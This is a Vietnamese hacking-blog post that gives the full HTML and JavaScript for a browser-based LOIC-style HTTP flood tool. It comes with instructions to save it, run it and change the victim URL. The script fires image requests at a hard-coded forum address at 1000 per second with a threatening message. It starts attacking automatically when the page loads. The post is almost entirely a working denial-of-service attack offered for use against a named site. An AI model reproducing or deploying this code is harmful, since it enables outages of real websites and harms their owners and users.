Blog Hacking & Security - Kẻ Chọc Giận: HTML Flood Attack

Thứ Sáu, 15 tháng 6, 2012

HTML Flood Attack - Anonymous

Lưu code html và chạy, sửa victim trong URL:

<!doctype html public "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="shortcut icon" href="http://ghostclub.info/@/16.ico" type="image/x-icon" />
<title>GhostClub - Power In The World!</title>

<style type="text/css">

</style>
</head>
<body background="http://i1214.photobucket.com/albums/cc491/HackeZ/Typography.jpg">
<div class="centrado">
<div style="width:1100px; overflow:hidden; padding-top:4px; float:left">
<div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;">
<div style="margin-left:auto; margin-right:auto">
<font color="lime" size="6"><blink>We Are Trying...To Stop Hack!!!</blink>
</font>
<p>
<div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;">

<div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;">

<img alt="LOIC" src="http://ni6.upanh.com/b6.s13.d3/c1af70ca0bada672646409fdbc30a709_41299306.hinhnenloic000012.png" width="979" /></div>
<div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Bước 1. Chọn mục tiêu: </legend>
<label>URL: http://diendan.progamethu.com/

<input name="xD" id="targetURL" style="width: 100%;" value="http://diendan.progamethu.com/"/>

</label>

<legend></legend>

</fieldset>
</div>

<div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Bước 2. Sắn sàng?</legend>
<button id="fireButton" style="background-color:#FF9900; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Dừng tấn công! </button>

</fieldset>

</div>

<div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Tùy chọn. Tùy chọn Tấn công? </legend>
<label><span id="result_box"><span title="Requests per second">Request mỗi giây</span></span>: <input style="width: 40px;" id="rps" value="1000" /></label>
<p>
<h4>
MỘT MÓN QUÀ TỪ GHOSTCLUB :))</H4></p>

<label>Lời nhắn:

<input id="message" style="width: 500px;" value="Stop hack now!!! You will die :)." />

</label>

</fieldset>
<div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Trạng thái Tấn công:</legend>

<dl>
<dt>Requested:</dt>
<dd class="Estilo4" id="requestedCtr">0</dd>
<dt>Succeeded:</dt>
<dd class="Estilo3" id="succeededCtr">0</dd>
<dt>Failed:</dt>
<dd class="Estilo2" id="failedCtr">0</dd>   </dl>

</fieldset>
</div>

</div>

</div>

<script>
        (function () {

            var fireInterval;
            var isFiring = false;
        var currentTime = new Date()
        var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {

                    if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                        return;
                    } else { lastSuccess = currentTime.getTime();};

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;

                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;

                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Tấn công!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Dừng tấn công!";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
            function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Tấn công!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
//Cambiar Target y descomentar la funcion FireIbero();
document.getElementById("targetURL").value = "http://diendan.progamethu.com/";
FireIbero();

        })();
    </script>
</p>
</div>

</div>
</div>

</div>

<script>var _wau = _wau || []; _wau.push(["tab", "lf1vnhkrsd0x", "38b", "left-middle"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")[0].appendChild(s);})();</script>

</!doctype></body></html>